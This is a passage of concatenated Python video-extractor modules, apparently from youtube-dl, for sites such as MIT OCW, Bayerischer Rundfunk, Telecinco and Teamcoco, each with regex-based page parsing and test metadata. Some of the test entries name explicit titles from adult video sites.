                'ext': f['url'].partition(':')[0],
                'format': f['label'],
                'width': f['width'],
                'vbr': f['bitrate'],
            }
            for f in formats_mit
        ]

        title = get_element_by_id('edit-title', clean_page)
        description = clean_html(get_element_by_id('edit-description', clean_page))
        thumbnail = self._search_regex(
            r'playlist:.*?url: \'(.+?)\'',
            raw_page, 'thumbnail', flags=re.DOTALL)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'description': description,
            'thumbnail': thumbnail,
        }


class MITIE(TechTVMITIE):
    IE_NAME = 'video.mit.edu'
    _VALID_URL = r'https?://video\.mit\.edu/watch/(?P<title>[^/]+)'

    _TEST = {
        'url': 'http://video.mit.edu/watch/the-government-is-profiling-you-13222/',
        'md5': '7db01d5ccc1895fc5010e9c9e13648da',
        'info_dict': {
            'id': '21783',
            'ext': 'mp4',
            'title': 'The Government is Profiling You',
            'description': 'md5:ad5795fe1e1623b73620dbfd47df9afd',
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        page_title = mobj.group('title')
        webpage = self._download_webpage(url, page_title)
        embed_url = self._search_regex(
            r'<iframe .*?src="(.+?)"', webpage, 'embed url')
        return self.url_result(embed_url)


class OCWMITIE(InfoExtractor):
    IE_NAME = 'ocw.mit.edu'
    _VALID_URL = r'^https?://ocw\.mit\.edu/courses/(?P<topic>[a-z0-9\-]+)'
    _BASE_URL = 'http://ocw.mit.edu/'

    _TESTS = [
        {
            'url': 'http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-041-probabilistic-systems-analysis-and-applied-probability-fall-2010/video-lectures/lecture-7-multiple-variables-expectations-independence/',
            'info_dict': {
                'id': 'EObHWIEKGjA',
                'ext': 'webm',
                'title': 'Lecture 7: Multiple Discrete Random Variables: Expectations, Conditioning, Independence',
                'description': 'In this lecture, the professor discussed multiple random variables, expectations, and binomial distribution.',
                'upload_date': '20121109',
                'uploader_id': 'MIT',
                'uploader': 'MIT OpenCourseWare',
            }
        },
        {
            'url': 'http://ocw.mit.edu/courses/mathematics/18-01sc-single-variable-calculus-fall-2010/1.-differentiation/part-a-definition-and-basic-rules/session-1-introduction-to-derivatives/',
            'info_dict': {
                'id': '7K1sB05pE0A',
                'ext': 'mp4',
                'title': 'Session 1: Introduction to Derivatives',
                'upload_date': '20090818',
                'uploader_id': 'MIT',
                'uploader': 'MIT OpenCourseWare',
                'description': 'This section contains lecture video excerpts, lecture notes, an interactive mathlet with supporting documents, and problem solving videos.',
            }
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        topic = mobj.group('topic')

        webpage = self._download_webpage(url, topic)
        title = self._html_search_meta('WT.cg_s', webpage)
        description = self._html_search_meta('Description', webpage)

        # search for call to ocw_embed_chapter_media(container_id, media_url, provider, page_url, image_url, start, stop, captions_file)
        embed_chapter_media = re.search(r'ocw_embed_chapter_media\((.+?)\)', webpage)
        if embed_chapter_media:
            metadata = re.sub(r'[\'"]', '', embed_chapter_media.group(1))
            metadata = re.split(r', ?', metadata)
            yt = metadata[1]
        else:
            # search for call to ocw_embed_chapter_media(container_id, media_url, provider, page_url, image_url, captions_file)
            embed_media = re.search(r'ocw_embed_media\((.+?)\)', webpage)
            if embed_media:
                metadata = re.sub(r'[\'"]', '', embed_media.group(1))
                metadata = re.split(r', ?', metadata)
                yt = metadata[1]
            else:
                raise ExtractorError('Unable to find embedded YouTube video.')
        video_id = YoutubeIE.extract_id(yt)

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'title': title,
            'description': description,
            'url': yt,
            'ie_key': 'Youtube',
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class AlJazeeraIE(InfoExtractor):
    _VALID_URL = r'https?://www\.aljazeera\.com/programmes/.*?/(?P<id>[^/]+)\.html'

    _TEST = {
        'url': 'http://www.aljazeera.com/programmes/the-slum/2014/08/deliverance-201482883754237240.html',
        'info_dict': {
            'id': '3792260579001',
            'ext': 'mp4',
            'title': 'The Slum - Episode 1: Deliverance',
            'description': 'As a birth attendant advocating for family planning, Remy is on the frontline of Tondo\'s battle with overcrowding.',
            'uploader_id': '665003303001',
            'timestamp': 1411116829,
            'upload_date': '20140919',
        },
        'add_ie': ['BrightcoveNew'],
        'skip': 'Not accessible from Travis CI server',
    }
    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/665003303001/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        program_name = self._match_id(url)
        webpage = self._download_webpage(url, program_name)
        brightcove_id = self._search_regex(
            r'RenderPagesVideo\(\'(.+?)\'', webpage, 'brightcove id')
        return self.url_result(self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id, 'BrightcoveNew', brightcove_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_duration,
    xpath_element,
    xpath_text,
)


class BRIE(InfoExtractor):
    IE_DESC = 'Bayerischer Rundfunk Mediathek'
    _VALID_URL = r'(?P<base_url>https?://(?:www\.)?br(?:-klassik)?\.de)/(?:[a-z0-9\-_]+/)+(?P<id>[a-z0-9\-_]+)\.html'

    _TESTS = [
        {
            'url': 'http://www.br.de/mediathek/video/sendungen/abendschau/betriebliche-altersvorsorge-104.html',
            'md5': '83a0477cf0b8451027eb566d88b51106',
            'info_dict': {
                'id': '48f656ef-287e-486f-be86-459122db22cc',
                'ext': 'mp4',
                'title': 'Die böse Überraschung',
                'description': 'md5:ce9ac81b466ce775b8018f6801b48ac9',
                'duration': 180,
                'uploader': 'Reinhard Weber',
                'upload_date': '20150422',
            },
            'skip': '404 not found',
        },
        {
            'url': 'http://www.br.de/nachrichten/oberbayern/inhalt/muenchner-polizeipraesident-schreiber-gestorben-100.html',
            'md5': 'af3a3a4aa43ff0ce6a89504c67f427ef',
            'info_dict': {
                'id': 'a4b83e34-123d-4b81-9f4e-c0d3121a4e05',
                'ext': 'flv',
                'title': 'Manfred Schreiber ist tot',
                'description': 'md5:b454d867f2a9fc524ebe88c3f5092d97',
                'duration': 26,
            },
            'skip': '404 not found',
        },
        {
            'url': 'https://www.br-klassik.de/audio/peeping-tom-premierenkritik-dance-festival-muenchen-100.html',
            'md5': '8b5b27c0b090f3b35eac4ab3f7a73d3d',
            'info_dict': {
                'id': '74c603c9-26d3-48bb-b85b-079aeed66e0b',
                'ext': 'aac',
                'title': 'Kurzweilig und sehr bewegend',
                'description': 'md5:0351996e3283d64adeb38ede91fac54e',
                'duration': 296,
            },
            'skip': '404 not found',
        },
        {
            'url': 'http://www.br.de/radio/bayern1/service/team/videos/team-video-erdelt100.html',
            'md5': 'dbab0aef2e047060ea7a21fc1ce1078a',
            'info_dict': {
                'id': '6ba73750-d405-45d3-861d-1ce8c524e059',
                'ext': 'mp4',
                'title': 'Umweltbewusster Häuslebauer',
                'description': 'md5:d52dae9792d00226348c1dbb13c9bae2',
                'duration': 116,
            }
        },
        {
            'url': 'http://www.br.de/fernsehen/br-alpha/sendungen/kant-fuer-anfaenger/kritik-der-reinen-vernunft/kant-kritik-01-metaphysik100.html',
            'md5': '23bca295f1650d698f94fc570977dae3',
            'info_dict': {
                'id': 'd982c9ce-8648-4753-b358-98abb8aec43d',
                'ext': 'mp4',
                'title': 'Folge 1 - Metaphysik',
                'description': 'md5:bb659990e9e59905c3d41e369db1fbe3',
                'duration': 893,
                'uploader': 'Eva Maria Steimle',
                'upload_date': '20140117',
            }
        },
    ]

    def _real_extract(self, url):
        base_url, display_id = re.search(self._VALID_URL, url).groups()
        page = self._download_webpage(url, display_id)
        xml_url = self._search_regex(
            r"return BRavFramework\.register\(BRavFramework\('avPlayer_(?:[a-f0-9-]{36})'\)\.setup\({dataURL:'(/(?:[a-z0-9\-]+/)+[a-z0-9/~_.-]+)'}\)\);", page, 'XMLURL')
        xml = self._download_xml(base_url + xml_url, display_id)

        medias = []

        for xml_media in xml.findall('video') + xml.findall('audio'):
            media_id = xml_media.get('externalId')
            media = {
                'id': media_id,
                'title': xpath_text(xml_media, 'title', 'title', True),
                'duration': parse_duration(xpath_text(xml_media, 'duration')),
                'formats': self._extract_formats(xpath_element(
                    xml_media, 'assets'), media_id),
                'thumbnails': self._extract_thumbnails(xpath_element(
                    xml_media, 'teaserImage/variants'), base_url),
                'description': xpath_text(xml_media, 'desc'),
                'webpage_url': xpath_text(xml_media, 'permalink'),
                'uploader': xpath_text(xml_media, 'author'),
            }
            broadcast_date = xpath_text(xml_media, 'broadcastDate')
            if broadcast_date:
                media['upload_date'] = ''.join(reversed(broadcast_date.split('.')))
            medias.append(media)

        if len(medias) > 1:
            self._downloader.report_warning(
                'found multiple medias; please '
                'report this with the video URL to http://yt-dl.org/bug')
        if not medias:
            raise ExtractorError('No media entries found')
        return medias[0]

    def _extract_formats(self, assets, media_id):
        formats = []
        for asset in assets.findall('asset'):
            format_url = xpath_text(asset, ['downloadUrl', 'url'])
            asset_type = asset.get('type')
            if asset_type == 'HDS':
                formats.extend(self._extract_f4m_formats(
                    format_url + '?hdcore=3.2.0', media_id, f4m_id='hds', fatal=False))
            elif asset_type == 'HLS':
                formats.extend(self._extract_m3u8_formats(
                    format_url, media_id, 'mp4', 'm3u8_native', m3u8_id='hds', fatal=False))
            else:
                format_info = {
                    'ext': xpath_text(asset, 'mediaType'),
                    'width': int_or_none(xpath_text(asset, 'frameWidth')),
                    'height': int_or_none(xpath_text(asset, 'frameHeight')),
                    'tbr': int_or_none(xpath_text(asset, 'bitrateVideo')),
                    'abr': int_or_none(xpath_text(asset, 'bitrateAudio')),
                    'vcodec': xpath_text(asset, 'codecVideo'),
                    'acodec': xpath_text(asset, 'codecAudio'),
                    'container': xpath_text(asset, 'mediaType'),
                    'filesize': int_or_none(xpath_text(asset, 'size')),
                }
                format_url = self._proto_relative_url(format_url)
                if format_url:
                    http_format_info = format_info.copy()
                    http_format_info.update({
                        'url': format_url,
                        'format_id': 'http-%s' % asset_type,
                    })
                    formats.append(http_format_info)
                server_prefix = xpath_text(asset, 'serverPrefix')
                if server_prefix:
                    rtmp_format_info = format_info.copy()
                    rtmp_format_info.update({
                        'url': server_prefix,
                        'play_path': xpath_text(asset, 'fileName'),
                        'format_id': 'rtmp-%s' % asset_type,
                    })
                    formats.append(rtmp_format_info)
        self._sort_formats(formats)
        return formats

    def _extract_thumbnails(self, variants, base_url):
        thumbnails = [{
            'url': base_url + xpath_text(variant, 'url'),
            'width': int_or_none(xpath_text(variant, 'width')),
            'height': int_or_none(xpath_text(variant, 'height')),
        } for variant in variants.findall('variant') if xpath_text(variant, 'url')]
        thumbnails.sort(key=lambda x: x['width'] * x['height'], reverse=True)
        return thumbnails






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import qualities


class UnistraIE(InfoExtractor):
    _VALID_URL = r'https?://utv\.unistra\.fr/(?:index|video)\.php\?id_video\=(?P<id>\d+)'

    _TESTS = [
        {
            'url': 'http://utv.unistra.fr/video.php?id_video=154',
            'md5': '736f605cfdc96724d55bb543ab3ced24',
            'info_dict': {
                'id': '154',
                'ext': 'mp4',
                'title': 'M!ss Yella',
                'description': 'md5:104892c71bd48e55d70b902736b81bbf',
            },
        },
        {
            'url': 'http://utv.unistra.fr/index.php?id_video=437',
            'md5': '1ddddd6cccaae76f622ce29b8779636d',
            'info_dict': {
                'id': '437',
                'ext': 'mp4',
                'title': 'Prix Louise Weiss 2014',
                'description': 'md5:cc3a8735f079f4fb6b0b570fc10c135a',
            },
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        files = set(re.findall(r'file\s*:\s*"(/[^"]+)"', webpage))

        quality = qualities(['SD', 'HD'])
        formats = []
        for file_path in files:
            format_id = 'HD' if file_path.endswith('-HD.mp4') else 'SD'
            formats.append({
                'url': 'http://vod-flash.u-strasbg.fr:8080%s' % file_path,
                'format_id': format_id,
                'quality': quality(format_id)
            })
        self._sort_formats(formats)

        title = self._html_search_regex(
            r'<title>UTV - (.*?)</', webpage, 'title')
        description = self._html_search_regex(
            r'<meta name="Description" content="(.*?)"', webpage, 'description', flags=re.DOTALL)
        thumbnail = self._search_regex(
            r'image: "(.*?)"', webpage, 'thumbnail')

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'formats': formats
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
)


class HornBunnyIE(InfoExtractor):
    _VALID_URL = r'http?://(?:www\.)?hornbunny\.com/videos/(?P<title_dash>[a-z-]+)-(?P<id>\d+)\.html'
    _TEST = {
        'url': 'http://hornbunny.com/videos/panty-slut-jerk-off-instruction-5227.html',
        'md5': '95e40865aedd08eff60272b704852ad7',
        'info_dict': {
            'id': '5227',
            'ext': 'flv',
            'title': 'panty slut jerk off instruction',
            'duration': 550,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(
            url, video_id, note='Downloading initial webpage')
        title = self._html_search_regex(
            r'class="title">(.*?)</h2>', webpage, 'title')
        redirect_url = self._html_search_regex(
            r'pg&settings=(.*?)\|0"\);', webpage, 'title')
        webpage2 = self._download_webpage(redirect_url, video_id)
        video_url = self._html_search_regex(
            r'flvMask:(.*?);', webpage2, 'video_url')

        duration = parse_duration(self._search_regex(
            r'<strong>Runtime:</strong>\s*([0-9:]+)</div>',
            webpage, 'duration', fatal=False))
        view_count = int_or_none(self._search_regex(
            r'<strong>Views:</strong>\s*(\d+)</div>',
            webpage, 'view count', fatal=False))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'ext': 'flv',
            'duration': duration,
            'view_count': view_count,
            'age_limit': 18,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class DBTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?dbtv\.no/(?:[^/]+/)?(?P<id>[0-9]+)(?:#(?P<display_id>.+))?'
    _TESTS = [{
        'url': 'http://dbtv.no/3649835190001#Skulle_teste_ut_fornøyelsespark,_men_kollegaen_var_bare_opptatt_av_bikinikroppen',
        'md5': '2e24f67936517b143a234b4cadf792ec',
        'info_dict': {
            'id': '3649835190001',
            'display_id': 'Skulle_teste_ut_fornøyelsespark,_men_kollegaen_var_bare_opptatt_av_bikinikroppen',
            'ext': 'mp4',
            'title': 'Skulle teste ut fornøyelsespark, men kollegaen var bare opptatt av bikinikroppen',
            'description': 'md5:1504a54606c4dde3e4e61fc97aa857e0',
            'thumbnail': 're:https?://.*\.jpg',
            'timestamp': 1404039863,
            'upload_date': '20140629',
            'duration': 69.544,
            'uploader_id': '1027729757001',
        },
        'add_ie': ['BrightcoveNew']
    }, {
        'url': 'http://dbtv.no/3649835190001',
        'only_matching': True,
    }, {
        'url': 'http://www.dbtv.no/lazyplayer/4631135248001',
        'only_matching': True,
    }, {
        'url': 'http://dbtv.no/vice/5000634109001',
        'only_matching': True,
    }, {
        'url': 'http://dbtv.no/filmtrailer/3359293614001',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_urls(webpage):
        return [url for _, url in re.findall(
            r'<iframe[^>]+src=(["\'])((?:https?:)?//(?:www\.)?dbtv\.no/(?:lazy)?player/\d+.*?)\1',
            webpage)]

    def _real_extract(self, url):
        video_id, display_id = re.match(self._VALID_URL, url).groups()

        return {
            '_type': 'url_transparent',
            'url': 'http://players.brightcove.net/1027729757001/default_default/index.html?videoId=%s' % video_id,
            'id': video_id,
            'display_id': display_id,
            'ie_key': 'BrightcoveNew',
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class FoxgayIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?foxgay\.com/videos/(?:\S+-)?(?P<id>\d+)\.shtml'
    _TEST = {
        'url': 'http://foxgay.com/videos/fuck-turkish-style-2582.shtml',
        'md5': '80d72beab5d04e1655a56ad37afe6841',
        'info_dict': {
            'id': '2582',
            'ext': 'mp4',
            'title': 'md5:6122f7ae0fc6b21ebdf59c5e083ce25a',
            'description': 'md5:5e51dc4405f1fd315f7927daed2ce5cf',
            'age_limit': 18,
            'thumbnail': 're:https?://.*\.jpg$',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<title>(?P<title>.*?)</title>',
            webpage, 'title', fatal=False)
        description = self._html_search_regex(
            r'<div class="ico_desc"><h2>(?P<description>.*?)</h2>',
            webpage, 'description', fatal=False)

        # Find the URL for the iFrame which contains the actual video.
        iframe = self._download_webpage(
            self._html_search_regex(r'iframe src="(?P<frame>.*?)"', webpage, 'video frame'),
            video_id)
        video_url = self._html_search_regex(
            r"v_path = '(?P<vid>http://.*?)'", iframe, 'url')
        thumb_url = self._html_search_regex(
            r"t_path = '(?P<thumb>http://.*?)'", iframe, 'thumbnail', fatal=False)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'description': description,
            'thumbnail': thumb_url,
            'age_limit': 18,
        }






# encoding: utf-8
from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    js_to_json,
)


class KrasViewIE(InfoExtractor):
    IE_DESC = 'Красвью'
    _VALID_URL = r'https?://krasview\.ru/(?:video|embed)/(?P<id>\d+)'

    _TEST = {
        'url': 'http://krasview.ru/video/512228',
        'md5': '3b91003cf85fc5db277870c8ebd98eae',
        'info_dict': {
            'id': '512228',
            'ext': 'mp4',
            'title': 'Снег, лёд, заносы',
            'description': 'Снято в городе Нягань, в Ханты-Мансийском автономном округе.',
            'duration': 27,
            'thumbnail': 're:^https?://.*\.jpg',
        },
        'params': {
            'skip_download': 'Not accessible from Travis CI server',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        flashvars = json.loads(js_to_json(self._search_regex(
            r'video_Init\(({.+?})', webpage, 'flashvars')))

        video_url = flashvars['url']
        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage, default=None)
        thumbnail = flashvars.get('image') or self._og_search_thumbnail(webpage)
        duration = int_or_none(flashvars.get('duration'))
        width = int_or_none(self._og_search_property(
            'video:width', webpage, 'video width', default=None))
        height = int_or_none(self._og_search_property(
            'video:height', webpage, 'video height', default=None))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'width': width,
            'height': height,
        }






# coding: utf-8
from __future__ import unicode_literals

from .mitele import MiTeleBaseIE


class TelecincoIE(MiTeleBaseIE):
    IE_DESC = 'telecinco.es, cuatro.com and mediaset.es'
    _VALID_URL = r'https?://www\.(?:telecinco\.es|cuatro\.com|mediaset\.es)/(?:[^/]+/)+(?P<id>.+?)\.html'

    _TESTS = [{
        'url': 'http://www.telecinco.es/robinfood/temporada-01/t01xp14/Bacalao-cocochas-pil-pil_0_1876350223.html',
        'md5': '8d7b2d5f699ee2709d992a63d5cd1712',
        'info_dict': {
            'id': 'JEA5ijCnF6p5W08A1rNKn7',
            'ext': 'mp4',
            'title': 'Bacalao con kokotxas al pil-pil',
            'description': 'md5:1382dacd32dd4592d478cbdca458e5bb',
            'duration': 662,
        },
    }, {
        'url': 'http://www.cuatro.com/deportes/futbol/barcelona/Leo_Messi-Champions-Roma_2_2052780128.html',
        'md5': '284393e5387b3b947b77c613ef04749a',
        'info_dict': {
            'id': 'jn24Od1zGLG4XUZcnUnZB6',
            'ext': 'mp4',
            'title': '¿Quién es este ex futbolista con el que hablan Leo Messi y Luis Suárez?',
            'description': 'md5:a62ecb5f1934fc787107d7b9a2262805',
            'duration': 79,
        },
    }, {
        'url': 'http://www.mediaset.es/12meses/campanas/doylacara/conlatratanohaytrato/Ayudame-dar-cara-trata-trato_2_1986630220.html',
        'md5': '749afab6ea5a136a8806855166ae46a2',
        'info_dict': {
            'id': 'aywerkD2Sv1vGNqq9b85Q2',
            'ext': 'mp4',
            'title': '#DOYLACARA. Con la trata no hay trato',
            'description': 'md5:2771356ff7bfad9179c5f5cd954f1477',
            'duration': 50,
        },
    }, {
        'url': 'http://www.telecinco.es/informativos/nacional/Pablo_Iglesias-Informativos_Telecinco-entrevista-Pedro_Piqueras_2_1945155182.html',
        'only_matching': True,
    }, {
        'url': 'http://www.telecinco.es/espanasinirmaslejos/Espana-gran-destino-turistico_2_1240605043.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        title = self._html_search_meta(
            ['og:title', 'twitter:title'], webpage, 'title')
        info = self._get_player_info(url, webpage)
        info.update({
            'display_id': display_id,
            'title': title,
            'description': self._html_search_meta(
                ['og:description', 'twitter:description'],
                webpage, 'title', fatal=False),
        })
        return info






from __future__ import unicode_literals

import base64

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    urlencode_postdata,
)


class SharedIE(InfoExtractor):
    IE_DESC = 'shared.sx and vivo.sx'
    _VALID_URL = r'https?://(?:shared|vivo)\.sx/(?P<id>[\da-z]{10})'

    _TESTS = [{
        'url': 'http://shared.sx/0060718775',
        'md5': '106fefed92a8a2adb8c98e6a0652f49b',
        'info_dict': {
            'id': '0060718775',
            'ext': 'mp4',
            'title': 'Bmp4',
            'filesize': 1720110,
        },
    }, {
        'url': 'http://vivo.sx/d7ddda0e78',
        'md5': '15b3af41be0b4fe01f4df075c2678b2c',
        'info_dict': {
            'id': 'd7ddda0e78',
            'ext': 'mp4',
            'title': 'Chicken',
            'filesize': 528031,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage, urlh = self._download_webpage_handle(url, video_id)

        if '>File does not exist<' in webpage:
            raise ExtractorError(
                'Video %s does not exist' % video_id, expected=True)

        download_form = self._hidden_inputs(webpage)

        video_page = self._download_webpage(
            urlh.geturl(), video_id, 'Downloading video page',
            data=urlencode_postdata(download_form),
            headers={
                'Content-Type': 'application/x-www-form-urlencoded',
                'Referer': urlh.geturl(),
            })

        video_url = self._html_search_regex(
            r'data-url=(["\'])(?P<url>(?:(?!\1).)+)\1',
            video_page, 'video URL', group='url')
        title = base64.b64decode(self._html_search_meta(
            'full:title', webpage, 'title').encode('utf-8')).decode('utf-8')
        filesize = int_or_none(self._html_search_meta(
            'full:size', webpage, 'file size', fatal=False))
        thumbnail = self._html_search_regex(
            r'data-poster=(["\'])(?P<url>(?:(?!\1).)+)\1',
            video_page, 'thumbnail', default=None, group='url')

        return {
            'id': video_id,
            'url': video_url,
            'ext': 'mp4',
            'filesize': filesize,
            'title': title,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    smuggle_url,
    update_url_query,
)


class FoxSportsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?foxsports\.com/(?:[^/]+/)*(?P<id>[^/]+)'

    _TEST = {
        'url': 'http://www.foxsports.com/video?vid=432609859715',
        'md5': 'b49050e955bebe32c301972e4012ac17',
        'info_dict': {
            'id': 'i0qKWsk3qJaM',
            'ext': 'mp4',
            'title': 'Courtney Lee on going up 2-0 in series vs. Blazers',
            'description': 'Courtney Lee talks about Memphis being focused.',
            'upload_date': '20150423',
            'timestamp': 1429761109,
            'uploader': 'NEWA-FNG-FOXSPORTS',
        },
        'add_ie': ['ThePlatform'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        config = self._parse_json(
            self._search_regex(
                r"data-player-config='([^']+)'", webpage, 'data player config'),
            video_id)

        return self.url_result(smuggle_url(update_url_query(
            config['releaseURL'], {
                'mbr': 'true',
                'switch': 'http',
            }), {'force_smil_url': True}))






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class SprutoBaseIE(InfoExtractor):
    def _extract_spruto(self, spruto, video_id):
        playlist = spruto['playlist'][0]
        title = playlist['title']
        video_id = playlist.get('videoId') or video_id
        thumbnail = playlist.get('posterUrl') or playlist.get('thumbnailUrl')
        duration = int_or_none(playlist.get('duration'))

        formats = [{
            'url': f['url'],
        } for f in playlist['video']]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }


class VimpleIE(SprutoBaseIE):
    IE_DESC = 'Vimple - one-click video hosting'
    _VALID_URL = r'https?://(?:player\.vimple\.ru/iframe|vimple\.ru)/(?P<id>[\da-f-]{32,36})'
    _TESTS = [
        {
            'url': 'http://vimple.ru/c0f6b1687dcd4000a97ebe70068039cf',
            'md5': '2e750a330ed211d3fd41821c6ad9a279',
            'info_dict': {
                'id': 'c0f6b168-7dcd-4000-a97e-be70068039cf',
                'ext': 'mp4',
                'title': 'Sunset',
                'duration': 20,
                'thumbnail': 're:https?://.*?\.jpg',
            },
        }, {
            'url': 'http://player.vimple.ru/iframe/52e1beec-1314-4a83-aeac-c61562eadbf9',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://player.vimple.ru/iframe/%s' % video_id, video_id)

        spruto = self._parse_json(
            self._search_regex(
                r'sprutoData\s*:\s*({.+?}),\r\n', webpage, 'spruto data'),
            video_id)

        return self._extract_spruto(spruto, video_id)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import base64
import binascii
import re
import json

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    qualities,
    determine_ext,
)
from ..compat import compat_ord


class TeamcocoIE(InfoExtractor):
    _VALID_URL = r'https?://teamcoco\.com/video/(?P<video_id>[0-9]+)?/?(?P<display_id>.*)'
    _TESTS = [
        {
            'url': 'http://teamcoco.com/video/80187/conan-becomes-a-mary-kay-beauty-consultant',
            'md5': '3f7746aa0dc86de18df7539903d399ea',
            'info_dict': {
                'id': '80187',
                'ext': 'mp4',
                'title': 'Conan Becomes A Mary Kay Beauty Consultant',
                'description': 'Mary Kay is perhaps the most trusted name in female beauty, so of course Conan is a natural choice to sell their products.',
                'duration': 504,
                'age_limit': 0,
            }
        }, {
            'url': 'http://teamcoco.com/video/louis-ck-interview-george-w-bush',
            'md5': 'cde9ba0fa3506f5f017ce11ead928f9a',
            'info_dict': {
                'id': '19705',
                'ext': 'mp4',
                'description': 'Louis C.K. got starstruck by George W. Bush, so what? Part one.',
                'title': 'Louis C.K. Interview Pt. 1 11/3/11',
                'duration': 288,
                'age_limit': 0,
            }
        }, {
            'url': 'http://teamcoco.com/video/timothy-olyphant-drinking-whiskey',
            'info_dict': {
                'id': '88748',
                'ext': 'mp4',
                'title': 'Timothy Olyphant Raises A Toast To “Justified”',
                'description': 'md5:15501f23f020e793aeca761205e42c24',
            },
            'params': {
                'skip_download': True,  # m3u8 downloads
            }
        }, {
            'url': 'http://teamcoco.com/video/full-episode-mon-6-1-joel-mchale-jake-tapper-and-musical-guest-courtney-barnett?playlist=x;eyJ0eXBlIjoidGFnIiwiaWQiOjl9',
            'info_dict': {
                'id': '89341',
                'ext': 'mp4',
                'title': 'Full Episode - Mon. 6/1 - Joel McHale, Jake Tapper, And Musical Guest Courtney Barnett',
                'description': 'Guests: Joel McHale, Jake Tapper, And Musical Guest Courtney Barnett',
            },
            'params': {
                'skip_download': True,  # m3u8 downloads
            }
        }
    ]
    _VIDEO_ID_REGEXES = (
        r'"eVar42"\s*:\s*(\d+)',
        r'Ginger\.TeamCoco\.openInApp\("video",\s*"([^"]+)"',
        r'"id_not"\s*:\s*(\d+)'
    )

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        display_id = mobj.group('display_id')
        webpage, urlh = self._download_webpage_handle(url, display_id)
        if 'src=expired' in urlh.geturl():
            raise ExtractorError('This video is expired.', expected=True)

        video_id = mobj.group('video_id')
        if not video_id:
            video_id = self._html_search_regex(
                self._VIDEO_ID_REGEXES, webpage, 'video id')

        data = None

        preload_codes = self._html_search_regex(
            r'(function.+)setTimeout\(function\(\)\{playlist',
            webpage, 'preload codes')
        base64_fragments = re.findall(r'"([a-zA-Z0-9+/=]+)"', preload_codes)
        base64_fragments.remove('init')

        def _check_sequence(cur_fragments):
            if not cur_fragments:
                return
            for i in range(len(cur_fragments)):
                cur_sequence = (''.join(cur_fragments[i:] + cur_fragments[:i])).encode('ascii')
                try:
                    raw_data = base64.b64decode(cur_sequence)
                    if compat_ord(raw_data[0]) == compat_ord('{'):
                        return json.loads(raw_data.decode('utf-8'))
                except (TypeError, binascii.Error, UnicodeDecodeError, ValueError):
                    continue

        def _check_data():
            for i in range(len(base64_fragments) + 1):
                for j in range(i, len(base64_fragments) + 1):
                    data = _check_sequence(base64_fragments[:i] + base64_fragments[j:])
                    if data:
                        return data

        self.to_screen('Try to compute possible data sequence. This may take some time.')
        data = _check_data()

        if not data:
            raise ExtractorError(
                'Preload information could not be extracted', expected=True)

        formats = []
        get_quality = qualities(['500k', '480p', '1000k', '720p', '1080p'])
        for filed in data['files']:
            if determine_ext(filed['url']) == 'm3u8':
                # compat_urllib_parse.urljoin does not work here
                if filed['url'].startswith('/'):
                    m3u8_url = 'http://ht.cdn.turner.com/tbs/big/teamcoco' + filed['url']
                else:
                    m3u8_url = filed['url']
                m3u8_formats = self._extract_m3u8_formats(
                    m3u8_url, video_id, ext='mp4')
                for m3u8_format in m3u8_formats:
                    if m3u8_format not in formats:
                        formats.append(m3u8_format)
            elif determine_ext(filed['url']) == 'f4m':
                # TODO Correct f4m extraction
                continue
            else:
                if filed['url'].startswith('/mp4:protected/'):
                    # TODO Correct extraction for these files
                    continue
                m_format = re.search(r'(\d+(k|p))\.mp4', filed['url'])
                if m_format is not None:
                    format_id = m_format.group(1)
                else:
                    format_id = filed['bitrate']
                tbr = (
